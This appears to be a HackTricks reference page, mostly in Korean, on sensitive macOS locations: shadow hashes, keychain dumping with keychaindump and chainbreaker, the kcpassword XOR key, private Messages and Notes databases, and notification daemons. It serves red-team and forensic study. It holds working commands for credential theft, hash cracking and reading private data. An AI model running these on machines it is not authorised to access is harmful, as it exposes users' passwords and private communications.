macOS Sensitive Locations & Interesting Daemons
Reading time: 10 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
비밀번호
그림자 비밀번호
그림자 비밀번호는 **/var/db/dslocal/nodes/Default/users/
**에 위치한 plist에 사용자의 구성과 함께 저장됩니다.
다음의 원라이너를 사용하여 사용자에 대한 모든 정보(해시 정보 포함)를 덤프할 수 있습니다:
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
이 스크립트들 또는 이 스크립트는 해시를 hashcat 형식으로 변환하는 데 사용할 수 있습니다.
모든 비서비스 계정의 자격 증명을 hashcat 형식 -m 7100
(macOS PBKDF2-SHA512)으로 덤프하는 대체 원라이너:
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
사용자의 ShadowHashData
를 얻는 또 다른 방법은 dscl
을 사용하는 것입니다: sudo dscl . -read /Users/`whoami` ShadowHashData
/etc/master.passwd
이 파일은 단일 사용자 모드에서 시스템이 실행될 때만 사용됩니다 (따라서 매우 자주 사용되지는 않습니다).
Keychain Dump
보안 바이너리를 사용하여 복호화된 비밀번호를 덤프할 때 여러 프롬프트가 사용자에게 이 작업을 허용하도록 요청할 것입니다.
#security
security dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
caution
이 댓글 juuso/keychaindump#10 (comment)를 기반으로 할 때, 이 도구들은 Big Sur에서 더 이상 작동하지 않는 것 같습니다.
Keychaindump 개요
keychaindump라는 도구는 macOS 키체인에서 비밀번호를 추출하기 위해 개발되었지만, Big Sur와 같은 최신 macOS 버전에서는 제한이 있습니다. keychaindump를 사용하려면 공격자가 접근 권한을 얻고 root 권한을 상승시켜야 합니다. 이 도구는 사용자 로그인 시 기본적으로 키체인이 잠금 해제된다는 사실을 이용하여, 애플리케이션이 사용자의 비밀번호를 반복적으로 요구하지 않고도 접근할 수 있도록 합니다. 그러나 사용자가 매번 사용 후 키체인을 잠그기로 선택하면 keychaindump는 효과가 없습니다.
Keychaindump는 securityd라는 특정 프로세스를 타겟으로 작동하며, Apple에 의해 권한 부여 및 암호화 작업을 위한 데몬으로 설명됩니다. 이는 키체인에 접근하는 데 필수적입니다. 추출 과정은 사용자의 로그인 비밀번호에서 파생된 Master Key를 식별하는 것을 포함합니다. 이 키는 키체인 파일을 읽는 데 필수적입니다. Master Key를 찾기 위해 keychaindump는 vmmap
명령을 사용하여 securityd의 메모리 힙을 스캔하며, MALLOC_TINY
로 플래그가 지정된 영역 내에서 잠재적인 키를 찾습니다. 다음 명령은 이러한 메모리 위치를 검사하는 데 사용됩니다:
sudo vmmap <securityd PID> | grep MALLOC_TINY
잠재적인 마스터 키를 식별한 후, keychaindump는 특정 패턴(0x0000000000000018
)을 나타내는 후보 마스터 키를 찾기 위해 힙을 검색합니다. 이 키를 활용하기 위해서는 keychaindump의 소스 코드에 설명된 대로 추가적인 단계, 즉 난독화 해제가 필요합니다. 이 분야에 집중하는 분석가는 키체인을 복호화하는 데 필요한 중요한 데이터가 securityd 프로세스의 메모리에 저장되어 있다는 점에 유의해야 합니다. keychaindump를 실행하는 예제 명령은:
sudo ./keychaindump
chainbreaker
Chainbreaker는 포렌식적으로 안전한 방식으로 OSX 키체인에서 다음 유형의 정보를 추출하는 데 사용할 수 있습니다:
- 해시된 키체인 비밀번호, hashcat 또는 John the Ripper로 크랙하기에 적합
- 인터넷 비밀번호
- 일반 비밀번호
- 개인 키
- 공개 키
- X509 인증서
- 보안 노트
- Appleshare 비밀번호
키체인 잠금 해제 비밀번호, volafox 또는 volatility를 사용하여 얻은 마스터 키, 또는 SystemKey와 같은 잠금 해제 파일이 주어지면 Chainbreaker는 평문 비밀번호도 제공합니다.
키체인을 잠금 해제하는 이러한 방법 중 하나가 없으면 Chainbreaker는 사용 가능한 모든 다른 정보를 표시합니다.
Dump keychain keys
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
SystemKey로 키체인 키(비밀번호 포함) 덤프하기
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
키체인 키 덤프 (비밀번호 포함) 해시 크래킹
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
메모리 덤프를 사용하여 키체인 키(비밀번호 포함) 덤프하기
이 단계를 따르세요 메모리 덤프를 수행하기 위해
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
사용자의 비밀번호를 사용하여 키체인 키 덤프하기 (비밀번호 포함)
사용자의 비밀번호를 알고 있다면 이를 사용하여 사용자에게 속한 키체인을 덤프하고 복호화할 수 있습니다.
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
kcpassword
kcpassword 파일은 사용자의 로그인 비밀번호를 저장하는 파일이지만, 시스템 소유자가 자동 로그인을 활성화한 경우에만 해당됩니다. 따라서 사용자는 비밀번호를 입력하라는 요청 없이 자동으로 로그인됩니다(이는 그리 안전하지 않습니다).
비밀번호는 /etc/kcpassword
파일에 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F
키와 XOR되어 저장됩니다. 사용자의 비밀번호가 키보다 길면 키가 재사용됩니다.
이로 인해 비밀번호를 복구하는 것이 꽤 쉬워지며, 예를 들어 이 스크립트를 사용할 수 있습니다.
Interesting Information in Databases
Messages
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Notifications
You can find the Notifications data in $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
Most of the interesting information is going to be in blob. So you will need to extract that content and transform it to human readable or use strings
. To access it you can do:
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
Notes
사용자의 노트는 ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
에서 찾을 수 있습니다.
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
Preferences
macOS 앱의 기본 설정은 **$HOME/Library/Preferences
**에 위치하고, iOS에서는 /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences
에 있습니다.
macOS에서는 cli 도구 **defaults
**를 사용하여 Preferences 파일을 수정할 수 있습니다.
**/usr/sbin/cfprefsd
**는 XPC 서비스 com.apple.cfprefsd.daemon
과 com.apple.cfprefsd.agent
를 주장하며, 기본 설정을 수정하는 등의 작업을 수행하기 위해 호출될 수 있습니다.
OpenDirectory permissions.plist
파일 /System/Library/OpenDirectory/permissions.plist
는 노드 속성에 적용된 권한을 포함하고 있으며 SIP에 의해 보호됩니다.
이 파일은 특정 사용자에게 UUID(및 uid가 아님)를 통해 권한을 부여하여 ShadowHashData
, HeimdalSRPKey
, KerberosKeys
와 같은 특정 민감한 정보에 접근할 수 있도록 합니다.
[...]
<key>dsRecTypeStandard:Computers</key>
<dict>
<key>dsAttrTypeNative:ShadowHashData</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
<key>dsAttrTypeNative:KerberosKeys</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
[...]
시스템 알림
다윈 알림
알림을 위한 주요 데몬은 **/usr/sbin/notifyd
**입니다. 알림을 받기 위해 클라이언트는 com.apple.system.notification_center
Mach 포트를 통해 등록해야 합니다(이를 확인하려면 sudo lsmp -p <pid notifyd>
를 사용하세요). 데몬은 /etc/notify.conf
파일로 구성할 수 있습니다.
알림에 사용되는 이름은 고유한 역 DNS 표기법이며, 알림이 그 중 하나로 전송되면 이를 처리할 수 있다고 표시한 클라이언트가 수신하게 됩니다.
현재 상태를 덤프하고(모든 이름을 확인하려면) notifyd 프로세스에 SIGUSR2 신호를 보내고 생성된 파일을 읽으면 됩니다: /var/run/notifyd_<pid>.status
:
ps -ef | grep -i notifyd
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
sudo kill -USR2 376
cat /var/run/notifyd_376.status
[...]
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]
Distributed Notification Center
Distributed Notification Center의 주요 바이너리는 **/usr/sbin/distnoted
**로, 알림을 보내는 또 다른 방법입니다. 일부 XPC 서비스를 노출하며 클라이언트를 확인하기 위한 몇 가지 검사를 수행합니다.
Apple Push Notifications (APN)
이 경우, 애플리케이션은 topics에 등록할 수 있습니다. 클라이언트는 **apsd
**를 통해 Apple의 서버에 연락하여 토큰을 생성합니다.
그런 다음, 제공자는 또한 토큰을 생성하고 Apple의 서버에 연결하여 클라이언트에게 메시지를 보낼 수 있습니다. 이러한 메시지는 **apsd
**에 의해 로컬에서 수신되며, 이는 알림을 기다리고 있는 애플리케이션에 전달됩니다.
환경 설정은 /Library/Preferences/com.apple.apsd.plist
에 위치해 있습니다.
macOS의 메시지 로컬 데이터베이스는 /Library/Application\ Support/ApplePushService/aps.db
에 위치하고, iOS에서는 /var/mobile/Library/ApplePushService
에 있습니다. 이 데이터베이스는 incoming_messages
, outgoing_messages
및 channel
의 3개 테이블을 가지고 있습니다.
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
다음과 같은 방법으로 데몬 및 연결에 대한 정보를 얻는 것도 가능합니다:
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
사용자 알림
사용자가 화면에서 봐야 하는 알림입니다:
CFUserNotification
: 이 API는 메시지가 포함된 팝업을 화면에 표시하는 방법을 제공합니다.- 게시판: iOS에서 사라지는 배너를 표시하며, 알림 센터에 저장됩니다.
NSUserNotificationCenter
: MacOS의 iOS 게시판입니다. 알림이 저장된 데이터베이스는/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db
에 위치합니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.